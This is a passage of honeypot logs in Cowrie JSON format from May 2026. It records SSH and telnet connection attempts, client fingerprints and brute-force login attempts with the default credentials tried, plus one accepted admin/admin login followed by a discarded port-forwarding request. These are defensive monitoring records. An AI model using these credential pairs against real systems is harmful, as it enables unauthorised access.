SH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:46.662331Z","src_ip":"103.15.226.202","session":"57a4e414adbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx@WSX","message":"login attempt [root/2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:47.422230Z","src_ip":"103.15.226.202","session":"57a4e414adbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:48.678465Z","src_ip":"103.15.226.202","session":"57a4e414adbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55134,"dst_ip":"159.203.135.109","dst_port":23,"session":"d692755ac842","protocol":"telnet","message":"New connection: 128.199.8.54:55134 (159.203.135.109:23) [session: d692755ac842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:03.646838Z"}
{"eventid":"cowrie.session.closed","duration":63.746925830841064,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:17.380736Z","src_ip":"212.55.149.117","session":"81f3c5b46ddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0012378692627,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:19.115828Z","src_ip":"212.55.149.117","session":"ffc6fec404cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":64108,"dst_ip":"10.17.0.5","dst_port":23,"session":"425425cda6f5","protocol":"telnet","message":"New connection: 212.55.149.117:64108 (10.17.0.5:23) [session: 425425cda6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:20.690788Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51394,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ca39712987","protocol":"telnet","message":"New connection: 128.199.8.54:51394 (159.203.135.109:23) [session: 47ca39712987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:31.010683Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43144,"dst_ip":"159.203.135.109","dst_port":22,"session":"d14a7dad5d1c","protocol":"ssh","message":"New connection: 2.57.122.208:43144 (159.203.135.109:22) [session: d14a7dad5d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:33.498652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:33.709390Z","src_ip":"2.57.122.208","session":"d14a7dad5d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:33.712733Z","src_ip":"2.57.122.208","session":"d14a7dad5d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:35.249385Z","src_ip":"2.57.122.208","session":"d14a7dad5d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:36.583510Z","src_ip":"2.57.122.208","session":"d14a7dad5d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.68972301483154,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:37.336428Z","src_ip":"128.199.8.54","session":"d692755ac842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42414,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce39aba59bf5","protocol":"telnet","message":"New connection: 128.199.8.54:42414 (159.203.135.109:23) [session: ce39aba59bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:40.694104Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47546,"dst_ip":"159.203.135.109","dst_port":23,"session":"b131f7ecf5e6","protocol":"telnet","message":"New connection: 128.199.8.54:47546 (159.203.135.109:23) [session: b131f7ecf5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:43.253818Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":3115,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c294f5c7a90","protocol":"telnet","message":"New connection: 212.55.149.117:3115 (10.17.0.5:23) [session: 8c294f5c7a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:28:54.795841Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52566,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7634b7ca80c","protocol":"telnet","message":"New connection: 128.199.8.54:52566 (159.203.135.109:23) [session: f7634b7ca80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:03.310049Z"}
{"eventid":"cowrie.session.closed","duration":34.17494082450867,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:05.185518Z","src_ip":"128.199.8.54","session":"47ca39712987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45836,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe26ee85b5e5","protocol":"telnet","message":"New connection: 128.199.8.54:45836 (159.203.135.109:23) [session: fe26ee85b5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:11.229394Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46344,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a37c770b19f","protocol":"telnet","message":"New connection: 128.199.8.54:46344 (159.203.135.109:23) [session: 6a37c770b19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:12.528601Z"}
{"eventid":"cowrie.session.closed","duration":38.15216684341431,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:18.846166Z","src_ip":"128.199.8.54","session":"ce39aba59bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.79301857948303,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:19.483706Z","src_ip":"212.55.149.117","session":"425425cda6f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.444525718688965,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:19.698225Z","src_ip":"128.199.8.54","session":"b131f7ecf5e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48518,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb3402d0bc5","protocol":"telnet","message":"New connection: 128.199.8.54:48518 (159.203.135.109:23) [session: 2cb3402d0bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:26.879211Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38740,"dst_ip":"159.203.135.109","dst_port":23,"session":"0446f85851f9","protocol":"telnet","message":"New connection: 128.199.8.54:38740 (159.203.135.109:23) [session: 0446f85851f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:35.739067Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39522,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbef9a885799","protocol":"telnet","message":"New connection: 128.199.8.54:39522 (159.203.135.109:23) [session: dbef9a885799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:36.077970Z"}
{"eventid":"cowrie.session.closed","duration":34.47755718231201,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:37.787491Z","src_ip":"128.199.8.54","session":"f7634b7ca80c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45496,"dst_ip":"159.203.135.109","dst_port":23,"session":"453104b503f6","protocol":"telnet","message":"New connection: 128.199.8.54:45496 (159.203.135.109:23) [session: 453104b503f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:40.082941Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":43418,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca143f47d735","protocol":"ssh","message":"New connection: 122.168.194.41:43418 (159.203.135.109:22) [session: ca143f47d735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:42.537921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:42.541795Z","src_ip":"122.168.194.41","session":"ca143f47d735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:42.818657Z","src_ip":"122.168.194.41","session":"ca143f47d735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2024","message":"login attempt [ubuntu/ubuntu#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:43.946392Z","src_ip":"122.168.194.41","session":"ca143f47d735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:45.232034Z","src_ip":"122.168.194.41","session":"ca143f47d735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.890551805496216,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:46.419035Z","src_ip":"128.199.8.54","session":"6a37c770b19f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97148013114929,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:47.200625Z","src_ip":"128.199.8.54","session":"fe26ee85b5e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52340,"dst_ip":"159.203.135.109","dst_port":23,"session":"36a9d8eba293","protocol":"telnet","message":"New connection: 128.199.8.54:52340 (159.203.135.109:23) [session: 36a9d8eba293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:48.720208Z"}
{"eventid":"cowrie.session.closed","duration":0.004812717437744141,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:48.724836Z","src_ip":"128.199.8.54","session":"36a9d8eba293","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.9620897769928,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:54.757823Z","src_ip":"212.55.149.117","session":"8c294f5c7a90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33196,"dst_ip":"159.203.135.109","dst_port":22,"session":"dda479a6bfb1","protocol":"ssh","message":"New connection: 80.94.92.186:33196 (159.203.135.109:22) [session: dda479a6bfb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:58.816972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:58.929752Z","src_ip":"80.94.92.186","session":"dda479a6bfb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:29:58.933380Z","src_ip":"80.94.92.186","session":"dda479a6bfb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:00.206373Z","src_ip":"80.94.92.186","session":"dda479a6bfb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:01.624880Z","src_ip":"80.94.92.186","session":"dda479a6bfb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.351539850234985,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:02.230642Z","src_ip":"128.199.8.54","session":"2cb3402d0bc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75850486755371,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:08.497471Z","src_ip":"128.199.8.54","session":"0446f85851f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3132803440094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:10.391177Z","src_ip":"128.199.8.54","session":"dbef9a885799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41327452659607,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:13.496110Z","src_ip":"128.199.8.54","session":"453104b503f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24716,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc37f183a957","protocol":"ssh","message":"New connection: 87.251.64.176:24716 (10.17.0.5:22) [session: cc37f183a957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:13.951151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:13.958546Z","src_ip":"87.251.64.176","session":"cc37f183a957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:14.055563Z","src_ip":"87.251.64.176","session":"cc37f183a957","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:14.364758Z","src_ip":"87.251.64.176","session":"cc37f183a957","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:14.470575Z","session":"cc37f183a957","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:14.568537Z","src_ip":"87.251.64.176","session":"cc37f183a957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:14.668272Z","src_ip":"87.251.64.176","session":"cc37f183a957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37984,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6499da57dc","protocol":"telnet","message":"New connection: 128.199.8.54:37984 (159.203.135.109:23) [session: dc6499da57dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:18.166938Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40712,"dst_ip":"159.203.135.109","dst_port":23,"session":"092ea3fc1675","protocol":"telnet","message":"New connection: 128.199.8.54:40712 (159.203.135.109:23) [session: 092ea3fc1675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:34.502549Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":38034,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc5bb4d9816","protocol":"ssh","message":"New connection: 122.168.194.41:38034 (159.203.135.109:22) [session: ecc5bb4d9816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:45.431694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:45.436449Z","src_ip":"122.168.194.41","session":"ecc5bb4d9816","protocol":"ssh"}
